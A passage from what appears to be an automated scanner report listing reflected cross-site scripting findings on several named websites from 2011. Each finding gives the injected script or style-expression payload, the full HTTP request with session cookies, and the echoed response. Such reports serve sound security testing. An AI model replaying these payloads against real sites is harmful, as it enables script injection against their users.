This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news4a232<script>alert(1)</script>1e4dd8b2b2c/image_assets/0001/8392/stomberg_thumb_thumb.jpg?1316184151 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:53 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:54 GMT
Content-Length: 6580
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news4a232<script>alert(1)</script>1e4dd8b2b2c/image_assets/0001/8392/stomberg_thumb_thumb.jpg</code>
...[SNIP]...

1.553. http://www.mtholyoke.edu/news/javascripts/prototype.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/news/javascripts/prototype.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2eda3<script>alert(1)</script>1c19d1117a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news2eda3<script>alert(1)</script>1c19d1117a5/javascripts/prototype.js?1314216347 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/index.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:51 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:51 GMT
Content-Length: 6557
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/news2eda3<script>alert(1)</script>1c19d1117a5/javascripts/prototype.js</code>
...[SNIP]...

1.554. http://www.mtholyoke.edu/slideshow.xml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/slideshow.xml

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 76778<script>alert(1)</script>6d6ec989bc6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /slideshow.xml76778<script>alert(1)</script>6d6ec989bc6 HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.mtholyoke.edu/homepage_slideshow/home_slideshow.swf
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 16:42:56 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Last-Modified: Mon, 19 Sep 2011 16:42:56 GMT
Content-Length: 5860
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head><title>Error</title><style type="text/css">
<!--
.nound { text-d
...[SNIP]...
<code>http://www.mtholyoke.edu/slideshow.xml76778<script>alert(1)</script>6d6ec989bc6</code>
...[SNIP]...

1.555. https://www.onekingslane.com/join [confirmEmail parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The value of the confirmEmail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab45f"style%3d"x%3aexpression(alert(1))"a9a7001e3d89d1c9b was submitted in the confirmEmail parameter. This input was echoed as ab45f"style="x:expression(alert(1))"a9a7001e3d89d1c9b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /join?firstName=&lastName=&email=&confirmEmail=ab45f"style%3d"x%3aexpression(alert(1))"a9a7001e3d89d1c9b&password=&referringEmail=&x=27&y=22&source= HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://www.onekingslane.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476585393:ss=1316476585393

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:56:39 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15920
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/72590
...[SNIP]...
<input id="confirmEmail" name="confirmEmail" type="text" value="ab45f"style="x:expression(alert(1))"a9a7001e3d89d1c9b" autocomplete="off"/>
...[SNIP]...

1.556. https://www.onekingslane.com/join [email parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95a21"style%3d"x%3aexpression(alert(1))"b1f5faedbcd183eef was submitted in the email parameter. This input was echoed as 95a21"style="x:expression(alert(1))"b1f5faedbcd183eef in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /join?firstName=&lastName=&email=95a21"style%3d"x%3aexpression(alert(1))"b1f5faedbcd183eef&confirmEmail=&password=&referringEmail=&x=27&y=22&source= HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://www.onekingslane.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476585393:ss=1316476585393

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:56:30 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15920
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/72590
...[SNIP]...
<input id="email" name="email" type="text" value="95a21"style="x:expression(alert(1))"b1f5faedbcd183eef" autocomplete="off"/>
...[SNIP]...

1.557. https://www.onekingslane.com/join [firstName parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The value of the firstName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11d8a"style%3d"x%3aexpression(alert(1))"7e71e928dccb2f717 was submitted in the firstName parameter. This input was echoed as 11d8a"style="x:expression(alert(1))"7e71e928dccb2f717 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /join?firstName=11d8a"style%3d"x%3aexpression(alert(1))"7e71e928dccb2f717&lastName=&email=&confirmEmail=&password=&referringEmail=&x=27&y=22&source= HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://www.onekingslane.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476585393:ss=1316476585393

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:56:12 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15920
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/72590
...[SNIP]...
<input id="firstName" name="firstName" type="text" value="11d8a"style="x:expression(alert(1))"7e71e928dccb2f717" maxlength="32"/>
...[SNIP]...

1.558. https://www.onekingslane.com/join [lastName parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The value of the lastName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa44e"style%3d"x%3aexpression(alert(1))"6027cc5d78fba3557 was submitted in the lastName parameter. This input was echoed as fa44e"style="x:expression(alert(1))"6027cc5d78fba3557 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /join?firstName=&lastName=fa44e"style%3d"x%3aexpression(alert(1))"6027cc5d78fba3557&email=&confirmEmail=&password=&referringEmail=&x=27&y=22&source= HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://www.onekingslane.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476585393:ss=1316476585393

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:56:21 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15920
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/72590
...[SNIP]...
<input id="lastName" name="lastName" type="text" value="fa44e"style="x:expression(alert(1))"6027cc5d78fba3557" maxlength="32"/>
...[SNIP]...

1.559. https://www.onekingslane.com/join [referringEmail parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The value of the referringEmail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa6a3"style%3d"x%3aexpression(alert(1))"9cc278c496a765c3f was submitted in the referringEmail parameter. This input was echoed as fa6a3"style="x:expression(alert(1))"9cc278c496a765c3f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /join?firstName=&lastName=&email=&confirmEmail=&password=&referringEmail=fa6a3"style%3d"x%3aexpression(alert(1))"9cc278c496a765c3f&x=27&y=22&source= HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://www.onekingslane.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.onekingslane.com/join
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; ZDEDebuggerPresent=php,phtml,php3; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476585393:ss=1316476585393

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:56:48 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15920
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/72590
...[SNIP]...
<input id="referringEmail" name="referringEmail" type="text" value="fa6a3"style="x:expression(alert(1))"9cc278c496a765c3f" autocomplete="off">
...[SNIP]...

1.560. http://www.proxyon.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af9e9"><script>alert(1)</script>ca72a68e334 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?af9e9"><script>alert(1)</script>ca72a68e334=1 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:05:34 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:06:04 GMT
Content-Type: text/html
Content-Length: 11145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/?af9e9"><script>alert(1)</script>ca72a68e334=1" method="post">
...[SNIP]...

1.561. http://www.proxyon.com/captcha/CaptchaSecurityImages.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/captcha/CaptchaSecurityImages.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6268d"><script>alert(1)</script>327029b2f77 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /captcha6268d"><script>alert(1)</script>327029b2f77/CaptchaSecurityImages.php?width=85&height=40&characters=3 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:53 GMT
Content-Type: text/html
Content-Length: 8912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/captcha6268d"><script>alert(1)</script>327029b2f77/CaptchaSecurityImages.php?width=85&height=40&characters=3" method="post">
...[SNIP]...

1.562. http://www.proxyon.com/captcha/CaptchaSecurityImages.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/captcha/CaptchaSecurityImages.php

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bdb47<a>def087ce319 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /captcha/CaptchaSecurityImages.phpbdb47<a>def087ce319?width=85&height=40&characters=3 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:09:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:09:07 GMT
Content-Type: text/html
Content-Length: 8888

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<p>We're sorry! This page ("CaptchaSecurityImages.phpbdb47<a>def087ce319") is not available. Please visit the <a href='home'>
...[SNIP]...

1.563. http://www.proxyon.com/captcha/CaptchaSecurityImages.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.proxyon.com
Path:	/captcha/CaptchaSecurityImages.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d32b9"><a>1f1b7b8fd76 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /captcha/CaptchaSecurityImages.phpd32b9"><a>1f1b7b8fd76?width=85&height=40&characters=3 HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:57 GMT
Content-Type: text/html
Content-Length: 8894

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/captcha/CaptchaSecurityImages.phpd32b9"><a>1f1b7b8fd76?width=85&height=40&characters=3" method="post">
...[SNIP]...

1.564. http://www.proxyon.com/communication/links [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/communication/links

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2111"><script>alert(1)</script>4c96c4895f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /communicatione2111"><script>alert(1)</script>4c96c4895f1/links HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:52 GMT
Content-Type: text/html
Content-Length: 8838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/communicatione2111"><script>alert(1)</script>4c96c4895f1/links" method="post">
...[SNIP]...

1.565. http://www.proxyon.com/communication/links [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.proxyon.com
Path:	/communication/links

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ab2b"><script>alert(1)</script>77710c4261d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /communication/links3ab2b"><script>alert(1)</script>77710c4261d HTTP/1.1
Host: www.proxyon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.proxyon.com/
Cookie: PHPSESSID=7b4f598282306003d990c447360e0e4b; lang=.com; __utma=58368875.1948887637.1316477194.1316477194.1316477194.1; __utmb=58368875.1.10.1316477194; __utmc=58368875; __utmz=58368875.1316477194.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:08:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: lang=.com; expires=Thu, 20-Oct-2011 19:08:57 GMT
Content-Type: text/html
Content-Length: 8531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Proxyon > Home
...[SNIP]...
<form action="/communication/links3ab2b"><script>alert(1)</script>77710c4261d" method="post">
...[SNIP]...

